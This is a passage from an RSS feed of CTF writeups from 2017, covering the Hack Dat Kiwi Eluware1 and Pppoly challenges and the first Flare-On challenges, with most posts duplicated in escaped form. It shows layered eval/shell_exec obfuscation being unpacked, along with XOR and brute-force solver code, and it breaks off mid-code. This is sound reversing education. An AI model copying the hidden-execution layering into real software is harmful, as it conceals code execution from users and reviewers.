</span></span><span style="display:flex;"><span>k = <span style="color:#d0a8ff">pow</span>(A, d, p)
</span></span><span style="display:flex;"><span>c = k * m % p
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>f.write(<span style="color:#d0a8ff">str</span>(B) + <span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>f.write(<span style="color:#d0a8ff">str</span>(c) + <span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>f.close()
</span></span></code></pre></div>]]></content></item><item><title>Hack Dat Kiwi CTF 2017 - Eluware1 Writeup</title><link>https://theromanxpl0.it/posts/2017/10/hack-dat-kiwi-ctf-2017-eluware1-writeup/</link><pubDate>Mon, 16 Oct 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/10/hack-dat-kiwi-ctf-2017-eluware1-writeup/</guid><description>&lt;p>The Eluware 1 challenge was quite simple. A copy of a website was displayed with a malicious &lt;code>www.malware.com/md5.js&lt;/code> script added to it.
The script contained a &lt;code>flag()&lt;/code> function, which when called from the Js console returned the flag to be submitted.
Probably the easiest 100 points I ever got in a challenge.&lt;/p></description><content type="html"><![CDATA[<p>The Eluware 1 challenge was quite simple. A copy of a website was displayed with a malicious <code>www.malware.com/md5.js</code> script added to it.
The script contained a <code>flag()</code> function, which when called from the Js console returned the flag to be submitted.
Probably the easiest 100 points I ever got in a challenge.</p>
]]></content></item><item><title>Hack Dat Kiwi CTF 2017 - Pppoly Writeup</title><link>https://theromanxpl0.it/posts/2017/10/hack-dat-kiwi-ctf-2017-pppoly-writeup/</link><pubDate>Mon, 16 Oct 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/10/hack-dat-kiwi-ctf-2017-pppoly-writeup/</guid><description>&lt;p>This was a nice reversing challenge, starting with a php file:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-php" data-lang="php">&lt;span style="display:flex;">&lt;span>&amp;lt;?php
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#41a1c0">$password&lt;/span>=&lt;span style="color:#fc6a5d">&amp;#39;KIWIMASTER&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#41a1c0">$d&lt;/span>=&lt;span style="color:#fc6a5d">&amp;#39;3c3f7068700a24703d275a47566d49484e725... [rest of hex data removed for clarity]&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">eval&lt;/span>(substr(pack(&lt;span style="color:#fc6a5d">&amp;#34;H*&amp;#34;&lt;/span>,&lt;span style="color:#41a1c0">$d&lt;/span>),&lt;span style="color:#d0bf69">5&lt;/span>));
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The obvious first thing to do was changing that &lt;code>eval&lt;/code> for an &lt;code>echo&lt;/code> in order to get this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-php" data-lang="php">&lt;span style="display:flex;">&lt;span>&amp;lt;?php
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#41a1c0">$p&lt;/span>=&lt;span style="color:#fc6a5d">&amp;#39;ZGVmIHNrZXdlcih0KToK... [rest of base64 data removed]&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#41a1c0">$p&lt;/span>=str_replace(&lt;span style="color:#fc6a5d">&amp;#34;pb24&amp;#34;&lt;/span>, base64_encode(&lt;span style="color:#41a1c0">$password&lt;/span>), base64_decode(&lt;span style="color:#41a1c0">$p&lt;/span>));
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">function&lt;/span> &lt;span style="color:#41a1c0">into_temp&lt;/span>(&lt;span style="color:#41a1c0">$code&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">$f&lt;/span>=tempnam(&lt;span style="color:#fc5fa3">null&lt;/span>,&lt;span style="color:#fc6a5d">&amp;#34;polyglot_&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> file_put_contents(&lt;span style="color:#41a1c0">$f&lt;/span>, &lt;span style="color:#41a1c0">$code&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#41a1c0">$f&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">function&lt;/span> &lt;span style="color:#41a1c0">sys&lt;/span>(&lt;span style="color:#41a1c0">$code&lt;/span>,&lt;span style="color:#41a1c0">$pl&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> shell_exec(&lt;span style="color:#41a1c0">$pl&lt;/span>.&lt;span style="color:#fc6a5d">&amp;#34; &amp;#34;&lt;/span>.into_temp(&lt;span style="color:#41a1c0">$code&lt;/span>));
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">if&lt;/span> (strpos(&lt;span style="color:#41a1c0">$r&lt;/span>=sys(&lt;span style="color:#41a1c0">$p&lt;/span>,&lt;span style="color:#fc6a5d">&amp;#34;python&amp;#34;&lt;/span>),&lt;span style="color:#fc6a5d">&amp;#34;YES&amp;#34;&lt;/span>)!==&lt;span style="color:#fc5fa3">false&lt;/span> &lt;span style="color:#fc5fa3">and&lt;/span> ctype_alnum(&lt;span style="color:#41a1c0">$password&lt;/span>)) &lt;span style="color:#41a1c0">$r&lt;/span>.=md5(&lt;span style="color:#41a1c0">$password&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">echo&lt;/span> &lt;span style="color:#41a1c0">$r&lt;/span>;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>What it does is base64 decode the data contained in &lt;code>$p&lt;/code>, put the password in place of the &lt;code>pb24&lt;/code> placeholder and execute it as python, collecting its output. If the output contains &amp;ldquo;YES&amp;rdquo; then the md5 of the password is calculated, which will become the flag. Let&amp;rsquo;s have a look at the python code, shall we?&lt;/p></description><content type="html"><![CDATA[<p>This was a nice reversing challenge, starting with a php file:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>&lt;?php
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">$password</span>=<span style="color:#fc6a5d">&#39;KIWIMASTER&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">$d</span>=<span style="color:#fc6a5d">&#39;3c3f7068700a24703d275a47566d49484e725... [rest of hex data removed for clarity]&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">eval</span>(substr(pack(<span style="color:#fc6a5d">&#34;H*&#34;</span>,<span style="color:#41a1c0">$d</span>),<span style="color:#d0bf69">5</span>));
</span></span></code></pre></div><p>The obvious first thing to do was changing that <code>eval</code> for an <code>echo</code> in order to get this:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>&lt;?php
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">$p</span>=<span style="color:#fc6a5d">&#39;ZGVmIHNrZXdlcih0KToK... [rest of base64 data removed]&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">$p</span>=str_replace(<span style="color:#fc6a5d">&#34;pb24&#34;</span>, base64_encode(<span style="color:#41a1c0">$password</span>), base64_decode(<span style="color:#41a1c0">$p</span>));
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">function</span> <span style="color:#41a1c0">into_temp</span>(<span style="color:#41a1c0">$code</span>)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">$f</span>=tempnam(<span style="color:#fc5fa3">null</span>,<span style="color:#fc6a5d">&#34;polyglot_&#34;</span>);
</span></span><span style="display:flex;"><span>    file_put_contents(<span style="color:#41a1c0">$f</span>, <span style="color:#41a1c0">$code</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> <span style="color:#41a1c0">$f</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">function</span> <span style="color:#41a1c0">sys</span>(<span style="color:#41a1c0">$code</span>,<span style="color:#41a1c0">$pl</span>)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> shell_exec(<span style="color:#41a1c0">$pl</span>.<span style="color:#fc6a5d">&#34; &#34;</span>.into_temp(<span style="color:#41a1c0">$code</span>));
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> (strpos(<span style="color:#41a1c0">$r</span>=sys(<span style="color:#41a1c0">$p</span>,<span style="color:#fc6a5d">&#34;python&#34;</span>),<span style="color:#fc6a5d">&#34;YES&#34;</span>)!==<span style="color:#fc5fa3">false</span> <span style="color:#fc5fa3">and</span> ctype_alnum(<span style="color:#41a1c0">$password</span>)) <span style="color:#41a1c0">$r</span>.=md5(<span style="color:#41a1c0">$password</span>);
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">echo</span> <span style="color:#41a1c0">$r</span>;
</span></span></code></pre></div><p>What it does is base64 decode the data contained in <code>$p</code>, put the password in place of the <code>pb24</code> placeholder and execute it as python, collecting its output. If the output contains &ldquo;YES&rdquo; then the md5 of the password is calculated, which will become the flag. Let&rsquo;s have a look at the python code, shall we?</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">skewer</span>(t):
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> <span style="color:#d0a8ff">ord</span>(t)-<span style="color:#d0bf69">53</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> sys,base64,os,re;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>password=base64.b64decode(<span style="color:#fc6a5d">&#34;pb24&#34;</span>);
</span></span><span style="display:flex;"><span>r=[<span style="color:#d0a8ff">chr</span>((x+<span style="color:#d0bf69">5</span>+y**<span style="color:#d0bf69">2</span>)%<span style="color:#d0bf69">256</span>) <span style="color:#fc5fa3">for</span> y,x in <span style="color:#d0a8ff">enumerate</span>([skewer(x)+<span style="color:#d0bf69">7</span>%<span style="color:#d0bf69">256</span> <span style="color:#fc5fa3">for</span> x in password])];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>code=<span style="color:#fc6a5d">&#39;&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">#code here
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">use MIME::Base64;
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">my $pwd=decode_base64(&#34;JASUS&#34;);
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">$pwd=substr($pwd,-3).substr($pwd,0,(length $pwd) -3);
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">#print $pwd;
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">use File::Temp qw(tempfile);
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">($fh, $filename) = tempfile( );
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">my $code=&#34;&lt;&#34;.&lt;&lt;&#39;Y&#39;;
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">?php $p=&#39;JERKY&#39;;echo $flag=$p[0]==&#39;A&#39;?$p[1]==&#39;S&#39;?$p[2]==&#39;S&#39;?$p[3]==&#39;H&#39;?$p[4]==&#39;A&#39;?$p[5]==&#39;I&#39;?$p[6]==&#39;R&#39;?strlen($p)==7?&#39;YES, the flag is: &#39;:0:0:0:0:0:0:0:&#39;NO&#39;;
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">Y
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">$code =~ s/JERKY/$pwd/g; print $fh $code;print `php $</span><span style="color:#fc6a5d">{filename}</span><span style="color:#fc6a5d">`;
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&#39;&#39;&#39;</span>.replace(<span style="color:#fc6a5d">&#39;JASUS&#39;</span>,base64.b64encode(<span style="color:#fc6a5d">&#34;&#34;</span>.join(r)));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> tempfile;
</span></span><span style="display:flex;"><span>f = tempfile.NamedTemporaryFile(delete=<span style="color:#fc5fa3">False</span>);
</span></span><span style="display:flex;"><span>f.write(code);
</span></span><span style="display:flex;"><span>f.close();
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> os.popen(<span style="color:#fc6a5d">&#34;perl &#34;</span>+f.name).read();
</span></span></code></pre></div><p>What we get is another layer of indirection, this time using a perl script and collecting its output. There is also some password mangling going on in the first lines, but nothing we can&rsquo;t easily reverse later. The perl script uses a similar scheme as the other layers, calling a small php snippet that checks the password. Here it is formatted a little better:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>&lt;?php
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">$p</span>=<span style="color:#fc6a5d">&#39;JERKY&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">echo</span> <span style="color:#41a1c0">$flag</span> =
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">$p</span>[<span style="color:#d0bf69">0</span>]==<span style="color:#fc6a5d">&#39;A&#39;</span>?
</span></span><span style="display:flex;"><span>        <span style="color:#41a1c0">$p</span>[<span style="color:#d0bf69">1</span>]==<span style="color:#fc6a5d">&#39;S&#39;</span>?
</span></span><span style="display:flex;"><span>            <span style="color:#41a1c0">$p</span>[<span style="color:#d0bf69">2</span>]==<span style="color:#fc6a5d">&#39;S&#39;</span>?
</span></span><span style="display:flex;"><span>                <span style="color:#41a1c0">$p</span>[<span style="color:#d0bf69">3</span>]==<span style="color:#fc6a5d">&#39;H&#39;</span>?
</span></span><span style="display:flex;"><span>                    <span style="color:#41a1c0">$p</span>[<span style="color:#d0bf69">4</span>]==<span style="color:#fc6a5d">&#39;A&#39;</span>?
</span></span><span style="display:flex;"><span>                        <span style="color:#41a1c0">$p</span>[<span style="color:#d0bf69">5</span>]==<span style="color:#fc6a5d">&#39;I&#39;</span>?
</span></span><span style="display:flex;"><span>                            <span style="color:#41a1c0">$p</span>[<span style="color:#d0bf69">6</span>]==<span style="color:#fc6a5d">&#39;R&#39;</span>?
</span></span><span style="display:flex;"><span>                                strlen(<span style="color:#41a1c0">$p</span>)==<span style="color:#d0bf69">7</span>?
</span></span><span style="display:flex;"><span>                                    <span style="color:#fc6a5d">&#39;YES, the flag is: &#39;</span>
</span></span><span style="display:flex;"><span>                                :<span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>                            :<span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>                        :<span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>                    :<span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>                :<span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>            :<span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>        :<span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>    :<span style="color:#fc6a5d">&#39;NO&#39;</span>;
</span></span></code></pre></div><p>Where &ldquo;JERKY&rdquo; is as usual a placeholder for the password. From the checks we can easily see that the password has to be a very polite &ldquo;ASSHAIR&rdquo; in order for this code to print the success message. It still doesn&rsquo;t print the flag, so that&rsquo;s what we&rsquo;re going to focus on next.</p>
<p>The first obstacle we meet is the following perl line, which simply rotates the string, meaning the password now has to be &ldquo;HAIRASS&rdquo; for the checks to work as we want them to:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-perl" data-lang="perl"><span style="display:flex;"><span><span style="color:#41a1c0">$pwd</span>=<span style="color:#d0a8ff">substr</span>(<span style="color:#41a1c0">$pwd</span>,-<span style="color:#d0bf69">3</span>).<span style="color:#d0a8ff">substr</span>(<span style="color:#41a1c0">$pwd</span>,<span style="color:#d0bf69">0</span>,(<span style="color:#d0a8ff">length</span> <span style="color:#41a1c0">$pwd</span>) -<span style="color:#d0bf69">3</span>);
</span></span></code></pre></div><p>Then we get back to the python layer, with a slightly more complicated mangling function:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">skewer</span>(t):
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> <span style="color:#d0a8ff">ord</span>(t)-<span style="color:#d0bf69">53</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r=[<span style="color:#d0a8ff">chr</span>((x+<span style="color:#d0bf69">5</span>+y**<span style="color:#d0bf69">2</span>)%<span style="color:#d0bf69">256</span>) <span style="color:#fc5fa3">for</span> y,x in <span style="color:#d0a8ff">enumerate</span>([skewer(x)+<span style="color:#d0bf69">7</span>%<span style="color:#d0bf69">256</span> <span style="color:#fc5fa3">for</span> x in password])];
</span></span></code></pre></div><p>Here r must contain <code>['H','A','I','R','A','S','S']</code> after the mangling has occurred. We could either run this through an automated solved or reverse the function by hand. I chose the latter and wrote the following to do so:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34;&#34;</span>.join([<span style="color:#d0a8ff">chr</span>(<span style="color:#d0a8ff">ord</span>(ch) - i**<span style="color:#d0bf69">2</span> + <span style="color:#d0bf69">41</span>) <span style="color:#fc5fa3">for</span> i,ch in <span style="color:#d0a8ff">enumerate</span>(<span style="color:#fc6a5d">&#34;HAIRASS&#34;</span>)])
</span></span></code></pre></div><p>Which quickly gave me back <code>qinrZcX</code> as the password to put into the original file in order to get the flag. As an afterthought, I could have just calculated its md5 instead of running the php, but I was sure it wouldn&rsquo;t harm my computer and it was just as easy to do.</p>
]]></content></item><item><title>Flare-On 2017 writeups</title><link>https://theromanxpl0.it/posts/2017/10/flare-on-2017-writeups/</link><pubDate>Sat, 14 Oct 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/10/flare-on-2017-writeups/</guid><description>&lt;h2 id="flare-what">Flare what?&lt;/h2>
&lt;p>The &lt;a href="https://2017.flare-on.com/">Flare-On competition&lt;/a> is an annual reverse engineering competition run by FireEye and mostly Windows-based. This was the first time I took part in it, and I have to admit some of the challenges were, &lt;em>uhm&lt;/em>, challenging. In the end I managed to solve the first six problems out of 12.&lt;/p>
&lt;h2 id="challenge-1-loginhtml">Challenge 1: login.html&lt;/h2>
&lt;blockquote>
&lt;p>&amp;ldquo;Welcome to the Fourth Flare-On Challenge! The key format, as always, will be a valid email address in the @flare-on.com domain.&amp;rdquo;&lt;/p></description><content type="html"><![CDATA[<h2 id="flare-what">Flare what?</h2>
<p>The <a href="https://2017.flare-on.com/">Flare-On competition</a> is an annual reverse engineering competition run by FireEye and mostly Windows-based. This was the first time I took part in it, and I have to admit some of the challenges were, <em>uhm</em>, challenging. In the end I managed to solve the first six problems out of 12.</p>
<h2 id="challenge-1-loginhtml">Challenge 1: login.html</h2>
<blockquote>
<p>&ldquo;Welcome to the Fourth Flare-On Challenge! The key format, as always, will be a valid email address in the @flare-on.com domain.&rdquo;</p></blockquote>
<p>For the first challenge we get an HTML document. Opening it in a browser reveals a form for checking the flag. Once we view the script contained in the source code we basically have the flag in plain sight:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;script type=<span style="color:#fc6a5d">&#34;text/javascript&#34;</span>&gt;
</span></span><span style="display:flex;"><span>	<span style="color:#d0a8ff">document</span>.getElementById(<span style="color:#fc6a5d">&#34;prompt&#34;</span>).onclick = <span style="color:#fc5fa3">function</span> () {
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">var</span> flag = <span style="color:#d0a8ff">document</span>.getElementById(<span style="color:#fc6a5d">&#34;flag&#34;</span>).value;
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">var</span> rotFlag = flag.replace(<span style="color:#fc6a5d">/[a-zA-Z]/g</span>, <span style="color:#fc5fa3">function</span>(c){<span style="color:#fc5fa3">return</span> <span style="color:#d0a8ff">String</span>.fromCharCode((c &lt;= <span style="color:#fc6a5d">&#34;Z&#34;</span> ? <span style="color:#d0bf69">90</span> : <span style="color:#d0bf69">122</span>) &gt;= (c = c.charCodeAt(<span style="color:#d0bf69">0</span>) + <span style="color:#d0bf69">13</span>) ? c : c - <span style="color:#d0bf69">26</span>);});
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> (<span style="color:#fc6a5d">&#34;PyvragFvqrYbtvafNerRnfl@syner-ba.pbz&#34;</span> == rotFlag) {
</span></span><span style="display:flex;"><span>			alert(<span style="color:#fc6a5d">&#34;Correct flag!&#34;</span>);
</span></span><span style="display:flex;"><span>		} <span style="color:#fc5fa3">else</span> {
</span></span><span style="display:flex;"><span>			alert(<span style="color:#fc6a5d">&#34;Incorrect flag, rot again&#34;</span>);
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>&lt;/script&gt;
</span></span></code></pre></div><p>All that&rsquo;s left to do is to apply the ROT13 algorithm to &ldquo;<a href="mailto:PyvragFvqrYbtvafNerRnfl@syner-ba.pbz">PyvragFvqrYbtvafNerRnfl@syner-ba.pbz</a>&rdquo;
in order to get the flag:
<code>ClientSideLoginsAreEasy@flare-on.com</code></p>
<h2 id="challenge-2-ignitemeexe">Challenge 2: IgniteMe.exe</h2>
<blockquote>
<p>&ldquo;You solved that last one really quickly! Have you ever tried to reverse
engineer a compiled x86 binary? Let&rsquo;s see if you are still as quick.&rdquo;</p></blockquote>
<p>This time we get a windows executable to work with, IgniteMe.exe. When we run it, we&rsquo;re prompted with the uber-l33t statement <code>&quot;G1v3 m3 t3h fl4g:&quot;</code>. Putting in a random string only gets us to the even l33t3r <code>&quot;N0t t00 h0t R we? 7ry 4ga1nz plzzz!&quot;</code> After opening the file in IDA we can see that it xor encrypts the input and checks it against some data. <code>sub_401000</code> is used to get an initial seed, which I found out to be the number 4 using the debugger. Then the rest easily followed, I wrote the inverse algorithm into the following program and run it to get the flag:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#fd8f3f">#include</span> <span style="color:#fd8f3f">&lt;cstdio&gt;</span><span style="color:#fd8f3f">
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f"></span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">char</span> data[<span style="color:#d0bf69">39</span>] = {<span style="color:#d0bf69">0x0D</span>, <span style="color:#d0bf69">0x26</span>, <span style="color:#d0bf69">0x49</span>, <span style="color:#d0bf69">0x45</span>, <span style="color:#d0bf69">0x2A</span>, <span style="color:#d0bf69">0x17</span>, <span style="color:#d0bf69">0x78</span>, <span style="color:#d0bf69">0x44</span>, <span style="color:#d0bf69">0x2B</span>, <span style="color:#d0bf69">0x6C</span>, <span style="color:#d0bf69">0x5D</span>, <span style="color:#d0bf69">0x5E</span>, <span style="color:#d0bf69">0x45</span>, <span style="color:#d0bf69">0x12</span>,
</span></span><span style="display:flex;"><span>				<span style="color:#d0bf69">0x2F</span>, <span style="color:#d0bf69">0x17</span>, <span style="color:#d0bf69">0x2B</span>, <span style="color:#d0bf69">0x44</span>, <span style="color:#d0bf69">0x6F</span>, <span style="color:#d0bf69">0x6E</span>, <span style="color:#d0bf69">0x56</span>, <span style="color:#d0bf69">0x09</span>, <span style="color:#d0bf69">0x5F</span>, <span style="color:#d0bf69">0x45</span>, <span style="color:#d0bf69">0x47</span>, <span style="color:#d0bf69">0x73</span>, <span style="color:#d0bf69">0x26</span>, <span style="color:#d0bf69">0x0A</span>,
</span></span><span style="display:flex;"><span>				<span style="color:#d0bf69">0x0D</span>, <span style="color:#d0bf69">0x13</span>, <span style="color:#d0bf69">0x17</span>, <span style="color:#d0bf69">0x48</span>, <span style="color:#d0bf69">0x42</span>, <span style="color:#d0bf69">0x01</span>, <span style="color:#d0bf69">0x40</span>, <span style="color:#d0bf69">0x4D</span>, <span style="color:#d0bf69">0x0C</span>, <span style="color:#d0bf69">0x02</span>, <span style="color:#d0bf69">0x69</span>};
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">char</span> result[<span style="color:#d0bf69">40</span>];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">int</span> <span style="color:#41a1c0">main</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">int</span> key = <span style="color:#d0bf69">4</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span>(<span style="color:#fc5fa3">int</span> i = <span style="color:#d0bf69">38</span>; i &gt;= <span style="color:#d0bf69">0</span>; i--)
</span></span><span style="display:flex;"><span>	{
</span></span><span style="display:flex;"><span>		result[i] = data[i] ^ key;
</span></span><span style="display:flex;"><span>		key = result[i];
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	result[<span style="color:#d0bf69">39</span>] = <span style="color:#fc6a5d">&#39;\0&#39;</span>;
</span></span><span style="display:flex;"><span>	printf(<span style="color:#fc6a5d">&#34;%s</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>, result);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>It quickly gave me <code>R_y0u_H0t_3n0ugH_t0_1gn1t3@flare-on.com</code> as the answer.</p>
<h2 id="challenge-3-greek_to_meexe">Challenge 3: greek_to_me.exe</h2>
<blockquote>
<p>&ldquo;Now that we see you have some skill in reverse engineering computer software, the FLARE team has decided that you should be tested to determine the extent of your abilities. You will most likely not finish, but take pride in the few points you may manage to earn yourself along the way.&rdquo;</p></blockquote>
<p>Initially when we run the program nothing seems to happen, but by opening it in IDA it is easy to see that it is listening for a TCP connection from localhost on port 2222. It then proceeds to read up to four bytes in <code>sub_401121</code>, of which only the first one will ever be used. At first the disassembly of <code>main</code> looks weird, including undocumented opcodes and kernel mode instructions, alongside with accesses to invalid memory locations. Have a look:</p>
<pre tabindex="0"><code>loc_4010A0:
icebp
push    es
sbb     dword ptr [esi], 1F99C4F0h
les     edx, [ecx+1D81061Ch]
out     6, al
and     dword ptr [edx-11h], 0F2638106h
push    es
[...many similar instructions...]
push    es
sub     dword ptr [ebx+6], 6EF6D81h
xor     dword ptr [edx-17h], 7C738106h
</code></pre><p>If we try to send something via netcat we always seem to get &ldquo;Nope, that&rsquo;s not it&rdquo;. What&rsquo;s happening behind the scenes is that the first byte received is used as a key in a simple xoradd decryption scheme, where each of the 121 bytes of the weird looking code is first xored with the key and then incremented by 34. Afterwards a 16 bit hash of the decrypted data is calculated and checked against 0xFB5E for equality. If the hash matches, the code is executed, otherwise we get to the same error message as before. We could either run through all 256 possible input bytes by hand, or copy the algorithm and brute force the solution programmatically. I, for obvious time reasons, chose the latter and wrote the following C++ code that quickly gave me 0xA2 as the key:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#fd8f3f">#include</span> <span style="color:#fd8f3f">&lt;cstdio&gt;</span><span style="color:#fd8f3f">
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#include</span> <span style="color:#fd8f3f">&lt;cstdint&gt;</span><span style="color:#fd8f3f">
